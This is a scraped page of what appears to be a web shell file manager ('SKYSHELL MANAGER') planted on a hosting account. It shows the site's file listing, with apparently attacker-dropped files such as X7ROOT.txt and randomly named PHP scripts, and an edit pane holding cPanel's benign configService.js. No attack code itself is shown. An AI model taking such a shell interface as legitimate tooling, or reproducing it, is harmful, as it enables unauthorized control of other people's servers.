📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: configService.js
// Copyright 2026 WebPros International, LLC // All rights reserved. // copyright@cpanel.net http://cpanel.net // This code is subject to the cPanel license. Unauthorized copying is prohibited. /* * multiphp_ini_editor/services/configService.js Copyright(c) 2020 cPanel, L.L.C. * All rights reserved. * copyright@cpanel.net http://cpanel.net * This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ // Libraries "angular", // Application // CJT "cjt/io/api", "cjt/io/uapi-request", "cjt/io/uapi", // IMPORTANT: Load the driver so its ready "cjt/util/locale", ], function(angular, API, APIREQUEST, APIDRIVER, LOCALE) { "use strict"; // Fetch the current application var app = angular.module("App"); /** * Setup the account list model's API service */ app.factory("configService", ["$q", function($q) { // return the factory interface return { /** * Get a list of directives for the selected PHP version. * @param {string} pathType - This can be either 'home' or 'vhost' * @param {string} vhost - A vhost/domain. This argument is required if the above argument value is 'vhost'. * @return {Promise} - Promise that will fulfill the request. */ fetchBasicList: function(pathType, vhost) { // make a promise var deferred = $q.defer(); var apiCall = new APIREQUEST.Class(); apiCall.initialize("LangPHP", "php_ini_get_user_basic_directives"); apiCall.addArgument("type", pathType); if (pathType !== "home") { apiCall.addArgument("vhost", vhost); } API.promise(apiCall.getRunArguments()) .done(function(response) { // Create items from the response response = response.parsedResponse; if (response.status) { // Keep the promise deferred.resolve(response.data); } else { // Pass the error along deferred.reject(response.error); } }); // Pass the promise back to the controller return deferred.promise; }, /** * Gets the PHP Handler used by the provided vhost. If the type * is 'Home', then it returns the PHP Handler used by the system * default PHP. * @param {string} pathType - This can be either 'home' or 'vhost' * @param {string} vhost - A vhost/domain. This argument is required if the above argument value is 'vhost'. * @return {Promise} - Promise that will fulfill the request. */ getHandlerForDomain: function(pathType, vhost) { // make a promise var deferred = $q.defer(); var apiCall = new APIREQUEST.Class(); apiCall.initialize("LangPHP", "php_get_domain_handler"); apiCall.addArgument("type", pathType); if (pathType !== "home") { apiCall.addArgument("vhost", vhost); } API.promise(apiCall.getRunArguments()) .done(function(response) { // Create items from the response response = response.parsedResponse; if (response.status) { // Keep the promise deferred.resolve(response.data); } else { // Pass the error along deferred.reject(response.error); } }); // Pass the promise back to the controller return deferred.promise; }, /** * Set the new settings of basic directives for the selected PHP version. * setData: JSON object with the list of PHP directives and their corresponding settings. * @return {Promise} - Promise that will fulfill the request. */ applySettings: function(type, vhost, directives) { // make a promise var deferred = $q.defer(); var apiCall = new APIREQUEST.Class(); apiCall.initialize("LangPHP", "php_ini_set_user_basic_directives"); if (type !== "home") { apiCall.addArgument("vhost", vhost); } apiCall.addArgument("type", type); // Construct the directive & value arguments. if (typeof (directives) !== "undefined" && directives.length > 0) { directives.forEach(function(directive, index) { apiCall.addArgument("directive-" + index, directive.key + ":" + directive.value); }); } API.promise(apiCall.getRunArguments()) .done(function(response) { // Create items from the response response = response.parsedResponse; if (response.status) { // var results = convertResponseToList(response); // Keep the promise deferred.resolve(response.data); } else { // Pass the error along deferred.reject(response.error); } }); // Pass the promise back to the controller return deferred.promise; }, /** * Get the content of the INI file for the selected PHP version. * @param {string} version - Selected PHP version * @return {Promise} - Promise that will fulfill the request. */ fetchContent: function(pathType, vhost) { // make a promise var deferred = $q.defer(); var apiCall = new APIREQUEST.Class(); apiCall.initialize("LangPHP", "php_ini_get_user_content"); apiCall.addArgument("type", pathType); if (pathType !== "home") { apiCall.addArgument("vhost", vhost); } API.promise(apiCall.getRunArguments()) .done(function(response) { // Create items from the response response = response.parsedResponse; if (response.status) { // Keep the promise deferred.resolve(response.data.content); } else { // Pass the error along deferred.reject(response.error); } }); // Pass the promise back to the controller return deferred.promise; }, /** * Save the new edited content of the INI file for the selected PHP version. * version: The selected PHP version. * content: The edited content. * @return {Promise} - Promise that will fulfill the request. */ saveIniContent: function(content, pathType, vhost) { // make a promise var deferred = $q.defer(); var apiCall = new APIREQUEST.Class(); apiCall.initialize("LangPHP", "php_ini_set_user_content"); apiCall.addArgument("content", content); apiCall.addArgument("type", pathType); if (pathType !== "home") { apiCall.addArgument("vhost", vhost); } API.promise(apiCall.getRunArguments()) .done(function(response) { // Create items from the response response = response.parsedResponse; if (response.status) { // Keep the promise deferred.resolve(response.data); } else { // Pass the error along deferred.reject(response.error); } }); // Pass the promise back to the controller return deferred.promise; }, /** * Iterates through a list of PHP versions and marks those that are outdated or secured. * @param {string} version - PHP version. * @param {string} oldest_supported - The oldest supported PHP version, example: "8.1" */ checkOutdatedAndSecuredPHPVersion: function(version, oldestSupported) { let defaultVersion = PAGE.default_php_version; if (version.indexOf("inherit") === 0) { version = defaultVersion + " (Inherited)"; } let minVersion = parseInt(String(oldestSupported).replace(".", "")); let label = version; if (!(PAGE && PAGE.suppress_php_eol_status)) { if (version.indexOf("alt-") === 0) { label = version + " (" + LOCALE.maketext("Secured") + ")"; } else { let matches = version.match(/php(\d+)/); if (matches && matches[1]) { let versionNumber = parseInt(matches[1]); if (versionNumber < minVersion) { label = version + " (" + LOCALE.maketext("Outdated") + ")"; } } } } return label; }, }; }]); } );
Save